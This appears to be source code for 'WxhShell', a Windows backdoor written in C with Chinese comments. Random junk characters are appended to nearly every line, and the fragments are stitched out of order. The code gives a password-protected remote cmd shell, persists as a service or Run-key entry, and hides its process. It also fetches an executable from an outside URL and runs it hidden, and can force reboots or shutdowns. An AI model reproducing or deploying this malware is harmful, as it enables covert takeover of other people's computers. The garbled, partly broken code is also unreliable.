    if(Boot(SHUTDOWN)) RT=(vq @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _"";SqVB  
    else { {W#VUB  
    closesocket(wsh); <~!R|5sK  
    ExitThread(0); 3HmJixy  
    } c3aF lxW  
    break; 1:iT#~n  
    } j%s:d(H`  
  // 获取shell a<`s'N1G  
  case 's': { &!FWo@  
    CmdShell(wsh); 8(A+"H(  
    closesocket(wsh); , 8F(R%v  
    ExitThread(0); )y}W=Q>T  
    break; u~^d5["T  
  } ZiOL7#QWX  
  // 退出 b6UD!tXp  
  case 'x': { |d8x55dk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :s OsG&y  
    CloseIt(wsh); iPPW_Q9x  
    break; 2f$6}m'Ad  
    } RBzBR)@5   
  // 离开 U: Q&sq8U  
  case 'q': { VlQaT7Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~<#!yRy>r  
    closesocket(wsh); N-Nq*  
    WSACleanup(); f'<MDLl  
    exit(1); CwVORf,uA  
    break; >A;9Ee"&  
        } 2aUy1*aM  
  } !* C9NX  
  } <);Nc1  
r8E)GBH-|  
  // 提示信息 AGxG*KuZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wfxg@<WR  
} yqw#= fy  
  } +MfdZD  
J,k|_JO  
  return; AG$S;)Yl9c  
} 5h2@n0  
-C|1O%.  
// shell模块句柄 q-fxs8+m|  
int CmdShell(SOCKET sock) 8&"@6/)[  
{ $*`=sV!r  
STARTUPINFO si; BM&.Tw|x  
ZeroMemory(&si,sizeof(si)); @;we4G5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sp=6%3fZ]m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [l2ds:  
PROCESS_INFORMATION ProcessInfo; gz?]]-H  
char cmdline[]="cmd"; 1 f;k)x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); crt )}L8-  
  return 0; +JMB98+l  
} !V6O~#  
}0P5~]S<5A  
// 自身启动模式 ;U=RV&  
int StartFromService(void) ;9r`P_r  
{ Ck|3DiRQ  
typedef struct -4&SYCw  
{ t@TBx=16  
  DWORD ExitStatus; $Xf gY1S  
  DWORD PebBaseAddress; L`$MOdF{_  
  DWORD AffinityMask; e.<$G'  
  DWORD BasePriority; w>:~Ev]  
  ULONG UniqueProcessId; S(c,Sinc  
  ULONG InheritedFromUniqueProcessId; S'NZb!1+  
}   PROCESS_BASIC_INFORMATION; 4{h?!Z*  
5{Xld,zw  
PROCNTQSIP NtQueryInformationProcess; s 9,?"\0Zm  
<wt#m`Za  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q3M;'m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZLBv\VQ  
OA\2ja~+  
  HANDLE             hProcess; o!`.LL%  
  PROCESS_BASIC_INFORMATION pbi; (=d%Bn$6b  
MOuI;EF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8,BNs5  
  if(NULL == hInst ) return 0; bY4~\cP.  
0Dj<-n{9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HG2i^y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E-NuCP%|c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )SMS<J  
]wg+zOJu]+  
  if (!NtQueryInformationProcess) return 0; \$o!M1j  
9Z,vpTE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NrE&w H:  
  if(!hProcess) return 0; KJ]:0'T  
qNP&f 8fH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fLj#+h-!  
 A7*<,]qT  
  CloseHandle(hProcess); #%4-zNS  
yIBT*,4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~7Ey9wRkD  
if(hProcess==NULL) return 0; Y%v?ROql  
zkXG%I4h  
HMODULE hMod; VC "66 \d&  
char procName[255]; KJPCO0"  
unsigned long cbNeeded; Bb^CukS:  
`+[e]dH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5CZii=@  
wu5]S)?*  
  CloseHandle(hProcess); */iD68r|-  
EQDs bG0x  
if(strstr(procName,"services")) return 1; // 以服务启动 1ID0'j$  
d'~ kf#  
  return 0; // 注册表启动 pp$WM\r  
} byl#8=?  
jM8e2z3  
// 主模块 X}.y-X#v5J  
int StartWxhshell(LPSTR lpCmdLine) (0jT#&#  
{ 8X":,s!  
  SOCKET wsl; g9> 0N#<  
BOOL val=TRUE; fZK&h.  
  int port=0; GAONgz|ZI  
  struct sockaddr_in door; RG [*:ReB9  
~Zbr7zVn  
  if(wscfg.ws_autoins) Install(); >p4#AfGF  
okfGd= &  
port=atoi(lpCmdLine); *oAv:8"iY  
E/mp.f2!  
if(port<=0) port=wscfg.ws_port; }gQ FWT  
">vxYi  
  WSADATA data; xc[Lb aBG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QeP8Vl&e:  
]-d:wEj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $\kqh$")  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XXsN)2  
  door.sin_family = AF_INET; EoM}Co  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s@^ (1g[w`  
  door.sin_port = htons(port); 40}qf}8n t  
M>hHTa?W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l:v:f@M&  
closesocket(wsl); ]O'dwC  
return 1; (R)\  
} 0PIiG-o9  
H\7#$ HB  
  if(listen(wsl,2) == INVALID_SOCKET) { x&qC~F*QR%  
closesocket(wsl); c e`3&  
return 1; F(*~[*Ff  
} 8s6~l.v  
  Wxhshell(wsl); ZS51QB  
  WSACleanup(); j+0=)Q%I=  
o:E+c_^q`  
return 0; U 2k^X=yl  
t5dk}sRF  
} b~?FV>gl  
b#%s!  
// 以NT服务方式启动 ,c#IxB/0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ iE%P^  
{ k fER  
DWORD   status = 0; hhjT{>je  
  DWORD   specificError = 0xfffffff; ax{+7  k  
4%wP}Zj#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6u>${}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v;.7-9c*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FG.MV-G  
  serviceStatus.dwWin32ExitCode     = 0; GtcY){7  
  serviceStatus.dwServiceSpecificExitCode = 0; GKf,1kns  
  serviceStatus.dwCheckPoint       = 0; ~\A(xmW}  
  serviceStatus.dwWaitHint       = 0; c>+l3&`  
p9w<|ZQ]:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (S/f!Dk&3  
  if (hServiceStatusHandle==0) return; j:'sbU  
"N'tmzifh  
status = GetLastError(); Hts.G~~8  
  if (status!=NO_ERROR) rlSar$  
{ Zt: .+.dV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +4G]!tV6  
    serviceStatus.dwCheckPoint       = 0; ZdbZ^DUR<(  
    serviceStatus.dwWaitHint       = 0; * ^R?*vNs  
    serviceStatus.dwWin32ExitCode     = status; c@d[HstBJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^_FB .y%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Z]i$Vi_r  
    return; [DS.@97n  
  } po@=$HK  
tU2 8l.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /wplP+w2  
  serviceStatus.dwCheckPoint       = 0; G gmv(!  
  serviceStatus.dwWaitHint       = 0; HGqT"N Jr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9PXG*r|D  
} Fd@n#DR `  
E,5XX;|  
// 处理NT服务事件,比如:启动、停止  >-EJLa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !d Ns3d  
{ |F)BKo D  
switch(fdwControl)  ismx evD  
{ E^kB|; Ki  
case SERVICE_CONTROL_STOP: \"!Fw)wj  
  serviceStatus.dwWin32ExitCode = 0; ~,[<R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '?]B ui  
  serviceStatus.dwCheckPoint   = 0; P|,@En 1!  
  serviceStatus.dwWaitHint     = 0; LWG%]m|C  
  { C3EQz r`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y;zp*(}f$h  
  } &h1.9AO  
  return; ) #G5XS+)  
case SERVICE_CONTROL_PAUSE: R42+^'af  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V$U#'G>m  
  break; #R2wt7vE  
case SERVICE_CONTROL_CONTINUE: AE`z~L,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (+SfDL$m  
  break;  )l 0\TF  
case SERVICE_CONTROL_INTERROGATE: Nn/me  
  break; DIrQ5C  
}; fTb&k;'LR<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #mhR^60,  
} NP }b   
(jj=CLe  
// 标准应用程序主函数 dk<) \C"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A HnXN%m  
{ AlZ]UGf^  
0hJ,l.  
// 获取操作系统版本 N %;bV@A9  
OsIsNt=GetOsVer();  ! @EZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sa8Q1i&%  
.%~m|t+Rt  
  // 从命令行安装 [PXv8K%]p  
  if(strpbrk(lpCmdLine,"iI")) Install(); Uwj|To&QR  
Y!!w*G9b  
  // 下载执行文件 PfF5@W;E;  
if(wscfg.ws_downexe) { !2 YvG%t^6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3a|I| NP  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sfl. &A(  
} >;wh0dBe  
o:oQF[TcFO  
if(!OsIsNt) { SSCyq#dl$  
// 如果时win9x,隐藏进程并且设置为注册表启动 c, IAz  
HideProc(); @\ udaZc  
StartWxhshell(lpCmdLine); _JEe]  
} -@=As00Bg  
else ~m`j=ot  
  if(StartFromService()) 42E%&DF  
  // 以服务方式启动 EV=/'f[++  
  StartServiceCtrlDispatcher(DispatchTable); `i~kW  
else o8uak*"{  
  // 普通方式启动 yLpsK[)}\  
  StartWxhshell(lpCmdLine); sVT:1 kI  
qYba%g9RN(  
return 0; x:wv#Wh:l7  
} B EN U  
Q)mYy  
TR7j`?  
Pk2=*{:W  
=========================================== Y6+/_$N4|  
(FVHtZi7  
H\r- ;,&  
@$G{t^&os  
Ms>CO7Nvy  
3UR'*5|'  
" &9j*Y  
:{ 8,O-  
#include <stdio.h> pB(|Y]3A  
#include <string.h> xLN$!9t  
#include <windows.h> c_~tCKAZ   
#include <winsock2.h> Z;'5A2  
#include <winsvc.h> rq(9w*MW:  
#include <urlmon.h> bukdyo;l  
=Z /*  
#pragma comment (lib, "Ws2_32.lib") xR~9|H9a  
#pragma comment (lib, "urlmon.lib") %4$J.6M  
^n%9Tu  
#define MAX_USER   100 // 最大客户端连接数 KA/ ~q"N  
#define BUF_SOCK   200 // sock buffer i;l0)q  
#define KEY_BUFF   255 // 输入 buffer +o3 ZQ9  
9z'(4U  
#define REBOOT     0   // 重启 *8%nbR  
#define SHUTDOWN   1   // 关机 ^1w<wB\B  
)x& 4 Q=  
#define DEF_PORT   5000 // 监听端口 xofxE4.  
2G&H[`  
#define REG_LEN     16   // 注册表键长度 8-5g6qAS  
#define SVC_LEN     80   // NT服务名长度 G=( ja?d  
j=kz^o~mH  
// 从dll定义API ,R$U(,>_0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E51'TT9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -/ YY.F-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); werTwe2Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E0t%]?1  
UA3!28Y&E3  
// wxhshell配置信息 qZ<|A%WQ  
struct WSCFG { eW\C@>Ke  
  int ws_port;         // 监听端口 bMGU9~CeJ  
  char ws_passstr[REG_LEN]; // 口令 F 9J9zs*,  
  int ws_autoins;       // 安装标记, 1=yes 0=no *r/o \pyH  
  char ws_regname[REG_LEN]; // 注册表键名 M <K}H8?  
  char ws_svcname[REG_LEN]; // 服务名 =`EVg>+^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X,`^z,M%I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R^VmNj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LL%s$>c65A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lPA:ho/`:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5?HoCz]l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @$7l  
F7&Oc)f"B  
}; W61nJ7@  
zwgO|Qg;  
// default Wxhshell configuration - (VX+XHW  
struct WSCFG wscfg={DEF_PORT, ]L;X Aj?  
    "xuhuanlingzhe", 4"et4Y7  
    1, 9Itj@ps  
    "Wxhshell", xX~; /e&,  
    "Wxhshell", A3A"^f$$  
            "WxhShell Service", |>dqZ_)v  
    "Wrsky Windows CmdShell Service", !{S HlS  
    "Please Input Your Password: ", ?{(Jy*  
  1, D.,~I^W  
  "http://www.wrsky.com/wxhshell.exe", ."h>I @MH  
  "Wxhshell.exe" ;@/vKA3l.  
    }; pIgjo>K  
W~?mr! `  
// 消息定义模块 </li<1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e+7x &-+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XY1b_uY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LSN%k5G7.  
char *msg_ws_ext="\n\rExit."; PXJ`<XM  
char *msg_ws_end="\n\rQuit."; (&ABfm/t  
char *msg_ws_boot="\n\rReboot..."; ? bnhx  
char *msg_ws_poff="\n\rShutdown..."; {5N!udLDr5  
char *msg_ws_down="\n\rSave to "; #E#.`/4  
ye-R  
char *msg_ws_err="\n\rErr!"; ]eD5It\  
char *msg_ws_ok="\n\rOK!"; O]N 8Q H  
s u)AIvF{  
char ExeFile[MAX_PATH]; hY-;Vh0J  
int nUser = 0;  LAfv1  
HANDLE handles[MAX_USER]; c DO<z  
int OsIsNt; p.J+~s4G  
b+qdl`V d  
SERVICE_STATUS       serviceStatus; Bm&%N?9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ("$ ,FRTQ:  
5\|u] ~b  
// 函数声明 1=.+!Tg  
int Install(void); nax(V  
int Uninstall(void); G,6Zy-Y9  
int DownloadFile(char *sURL, SOCKET wsh); ON~K(O2g(  
int Boot(int flag); !p#+I=  
void HideProc(void); _>"f&nb O  
int GetOsVer(void); qq1@v0  
int Wxhshell(SOCKET wsl); hRWRXC 9  
void TalkWithClient(void *cs); }|Wn6X  
int CmdShell(SOCKET sock); Y']D_\y  
int StartFromService(void); ;}BDEBl  
int StartWxhshell(LPSTR lpCmdLine); SpB\kC"K  
s/"?P/R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ">pt, QV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ue;o:>G  
|dxcEjcY_  
// 数据结构和表定义 7kZ-`V|\.  
SERVICE_TABLE_ENTRY DispatchTable[] = X/D^?BKC  
{ Ym WVb  
{wscfg.ws_svcname, NTServiceMain}, ]tzO)c)w;  
{NULL, NULL} [z^db0PU  
}; =(^-s Jk  
B?G!~lQ)o  
// 自我安装 %SX)Z i=O  
int Install(void) ^^-uq)A  
{ z+Cw*v\Y  
  char svExeFile[MAX_PATH]; Snav)Hb'  
  HKEY key; mimJ_=]DC  
  strcpy(svExeFile,ExeFile); \ M_}V[1+  
[9:'v@Ph  
// 如果是win9x系统,修改注册表设为自启动 RKY~[IQ,  
if(!OsIsNt) { /_`f b)f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;B'5B]A3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J9kmIMq-C  
  RegCloseKey(key); bHi0N@W!vG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l|O)B #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pnvHh0ck_  
  RegCloseKey(key); y$]gmg  
  return 0; L6xLD X7y  
    } Zewx*Y|  
  } abHW[VP9  
} C;T:'Uws  
else { 0u?{"xH{+}  
yN0!uzdW*  
// 如果是NT以上系统,安装为系统服务 ,_JhvPWR,)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Br}&  
if (schSCManager!=0) .H M1c  
{ $a.!X8sHB.  
  SC_HANDLE schService = CreateService PY4RwN  
  ( hnQDm$k  
  schSCManager, <K~> :4c  
  wscfg.ws_svcname, .`iG} j)\  
  wscfg.ws_svcdisp, \(nb >K  
  SERVICE_ALL_ACCESS, $[L8UUHY<8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fZ9EE3  
  SERVICE_AUTO_START, )yV|vn  
  SERVICE_ERROR_NORMAL, F-\Swbx+  
  svExeFile, E&\dr;{7  
  NULL, pJ` M5pF  
  NULL, A9*( O)  
  NULL, W\'njN  
  NULL, 7,i}M  
  NULL %idn7STJ}  
  ); 5E~?hWAv  
  if (schService!=0) [79 eq=  
  { F{#m~4O  
  CloseServiceHandle(schService); LvWl*:z  
  CloseServiceHandle(schSCManager); bIFKP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K[wOK  
  strcat(svExeFile,wscfg.ws_svcname); ZZkxEq+D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^i"C%8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ugtzF  
  RegCloseKey(key); KGMX >t'  
  return 0; tSST.o3  
    } o/EN3J  
  } xvZNshkpAX  
  CloseServiceHandle(schSCManager); hEO#uAR^Z  
} D;f[7Cac  
} hK!Z ~  
!Gv*iWg  
return 1; M*DFtp<  
} i[:S *`@S  
|4UU`J9M  
// 自我卸载 4=j,:q  
int Uninstall(void) K !X>k  
{  #RE  
  HKEY key; wzw`9^B  
MA:2]l3e  
if(!OsIsNt) { )$V&Nf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9n$0OH /q  
  RegDeleteValue(key,wscfg.ws_regname); E$$pO.\  
  RegCloseKey(key); br!:g]Vh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <O`yM2/pS  
  RegDeleteValue(key,wscfg.ws_regname); 0D;MW  
  RegCloseKey(key); Km~\^(a '  
  return 0; CgLS2  
  } =1dU~B:Lm  
} G;:D6\  
} +O< 0q"E  
else { /Q7cQ2[EU  
rm7$i9DH2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S.;>:Dd[K  
if (schSCManager!=0) 9m2_zfO[ w  
{ 8\-Q(9q(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IAr  
  if (schService!=0) HaP0;9q  
  { T[w]w  
  if(DeleteService(schService)!=0) { }$K2h*  
  CloseServiceHandle(schService); % -~W|Y  
  CloseServiceHandle(schSCManager); +39Vxe:Oy  
  return 0;  N-x~\B!  
  } >U~B"'!xV  
  CloseServiceHandle(schService); Ua.7_Em  
  } FHNK%Ko  
  CloseServiceHandle(schSCManager); H].G%,2'  
} ` [ EzU+  
} njk.$]M|nf  
zE{@'  
return 1; ;T0Y= yC  
} c#q OK  
|aiP7C  
// 从指定url下载文件 %IS'R`;3  
int DownloadFile(char *sURL, SOCKET wsh) SrV+Ox  
{ R jO9E.nm  
  HRESULT hr; 0y$aGAUm  
char seps[]= "/"; @=[/bG  
char *token;  \Vis  
char *file; K\ww,S  
char myURL[MAX_PATH]; gf]biE"k  
char myFILE[MAX_PATH]; CPq{M.B  
S~1>q+<Q  
strcpy(myURL,sURL); B;'Dh<J1  
  token=strtok(myURL,seps); sQ65QJtt0A  
  while(token!=NULL) |H67ny&K^&  
  { |irqv< r  
    file=token; %?^T^P  
  token=strtok(NULL,seps); ~Mv@Bl  
  } ,63hO.4M  
eTI<WFRc_  
GetCurrentDirectory(MAX_PATH,myFILE); pv2_A   
strcat(myFILE, "\\"); uLYz!E+E  
strcat(myFILE, file); gWp\?La  
  send(wsh,myFILE,strlen(myFILE),0); X{rw+!  
send(wsh,"...",3,0); xq:.|{HUk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x^aqnKoJ%\  
  if(hr==S_OK) $AAv%v  
return 0; **rA/*Oc  
else  `"v5bk  
return 1; .BGM1ph}~  
"|CzQ&e  
} (: IUg   
jsS xjf;O  
// 系统电源模块 qr%9S dvx  
int Boot(int flag) YV*s1 t/  
{ !dB {E  
  HANDLE hToken; *loPwV8  
  TOKEN_PRIVILEGES tkp; $ WAFr  
27*u^N*z@  
  if(OsIsNt) { Ec| Gom?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O=}4?Xv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C=ni5R  
    tkp.PrivilegeCount = 1; l%*KBME  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PL/as3O^A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .Gv9RKgd~  
if(flag==REBOOT) { E"5 z T1d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #q1Qa_LXc  
  return 0; 0es[!  
} X3#/|>  
else { FL!W oTB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~<Z;)e  
  return 0; )xiiTkJd5  
} 5Qhu5~,K  
  }  ~dfc  
  else { 7QP%Pny%  
if(flag==REBOOT) { 4g]Er<-P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T^u][I3*  
  return 0; O(;K ]8  
} m "\jEfjO  
else { 0 Vv 6B2<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7''l\3mIn  
  return 0; @cdd~9w  
} S(](C  
} obRR))  
~U`oew  
return 1; f7 V36Q8  
} pfgFHNH:  
L+Yn}"gIs  
// win9x进程隐藏模块 ]kq{9b';  
void HideProc(void) a'f"Zdh%w  
{ . $uvQpyh  
o^;$-O!/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6H67$?jMyJ  
  if ( hKernel != NULL ) <jF]SN  
  { emOd<C1A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/Se /C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [H z_x(t26  
    FreeLibrary(hKernel); 0ZPwEP  
  } xaSvjc\  
zu'Uau  
return; wEENN_w  
} A,i.1U"w8  
m8eyAvi 6  
// 获取操作系统版本 NR-d|`P;  
int GetOsVer(void) D'Tb=  
{ y:(OZ%g  
  OSVERSIONINFO winfo; :@)UI,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `rsPIOu  
  GetVersionEx(&winfo); km2('t7?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D].!u{##  
  return 1; [2#5;')  
  else D-e0q)RSU  
  return 0; :b)IDcW&j:  
} XL@i/5C[  
$ysemDq-a\  
// 客户端句柄模块 `Bk7W]{L  
int Wxhshell(SOCKET wsl) R>SS\YC'X  
{ t!RR5!  
  SOCKET wsh; >c%OnA,3  
  struct sockaddr_in client; n 1MZHa,  
  DWORD myID; 1S9(Zn[2,  
@5N^^B  
  while(nUser<MAX_USER) [2?|BUtD[  
{ dfY(5Wc+f  
  int nSize=sizeof(client); s.I%[kada  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hs/ aU_  
  if(wsh==INVALID_SOCKET) return 1; AE`X4q  
`s5<PCq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .?R~!K{`  
if(handles[nUser]==0) iSu7K&X9q  
  closesocket(wsh); w>Iw&US  
else W1'F)5(?7  
  nUser++; uKc x$  
  } IvGQ7 VLr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "s!!\/^9C  
zWKnkIit,  
  return 0; 1BT]_ cP  
} bA}9He1  
Jb~$Vrdy  
// 关闭 socket |S.G#za  
void CloseIt(SOCKET wsh) /aS=vjs  
{ ap=m5h27  
closesocket(wsh); .GcIwP'aU-  
nUser--; eKjmU| H  
ExitThread(0); Ie{98  
} $/;D8P5/&=  
&_Kb;UVRj  
// 客户端请求句柄 xIu #  
void TalkWithClient(void *cs) Py*( %  
{ M)S(:Il6Xx  
/(IV+  
  SOCKET wsh=(SOCKET)cs; -^sW{s0Rc  
  char pwd[SVC_LEN]; `roos<F1D  
  char cmd[KEY_BUFF]; < kyT{[e+6  
char chr[1]; Zjqa n  
int i,j; )!6JSMS  
<T]%Gg8  
  while (nUser < MAX_USER) { TNe,'S,%  
I\ e?v`e  
if(wscfg.ws_passstr) { I5]=\k($  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K$v SdpC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e_'/4 n  
  //ZeroMemory(pwd,KEY_BUFF); iV9wqUkMv  
      i=0; 58xaVOhb  
  while(i<SVC_LEN) { <Sds5 d  
ZK:dhwer  
  // 设置超时 <0lXJqd  
  fd_set FdRead; j("$qp v  
  struct timeval TimeOut; s18o,Zs'  
  FD_ZERO(&FdRead); CTawXHM  
  FD_SET(wsh,&FdRead); -7MR2)U  
  TimeOut.tv_sec=8; O-m=<Fk> D  
  TimeOut.tv_usec=0; 7$3R}=Z`\q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C]S~DK1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6oTWW@  
6cR}Mm9Hx3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m]H[$ Q  
  pwd=chr[0]; OAigq6[,  
  if(chr[0]==0xd || chr[0]==0xa) { Zop3[-  
  pwd=0; x)evjX=q  
  break; A8,9^cQ]  
  }  )ph**g  
  i++; /V'^$enK!}  
    } U -RR>j  
Xae0xs  
  // 如果是非法用户,关闭 socket 2n]UNC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JFAmND;+  
} }f rij1/G  
gut[q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fZQL!j4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mL5Nu+#  
\9;SOAv  
while(1) { dA,irb I0W  
%>,B1nt  
  ZeroMemory(cmd,KEY_BUFF); F; upb5  
zzlqj){F  
      // 自动支持客户端 telnet标准   JFOto,6L:  
  j=0; :TU|;(p  
  while(j<KEY_BUFF) { #+VH]7]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yf|,/{S  
  cmd[j]=chr[0]; !Cqm=q{K  
  if(chr[0]==0xa || chr[0]==0xd) { Wp2W:JX:  
  cmd[j]=0; @|I:A  
  break; R$>]7-N}  
  } T,' {0q  
  j++; C\-Abq c  
    } {?2jvv  
x" N{5  
  // 下载文件 `2WtA_  
  if(strstr(cmd,"http://")) { 3HtLD5%Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z>897>  
  if(DownloadFile(cmd,wsh)) 'A^;P]y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"'.n5>:`  
  else w@K4u{|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |6qxRWT"  
  } 3Jt7IM!9[  
  else { j|6@>T1  
4=; . <  
    switch(cmd[0]) { WO}l&Q  
  6[b?ckvi  
  // 帮助 '7'*+sgi$  
  case '?': { ^Vbx9UN/  
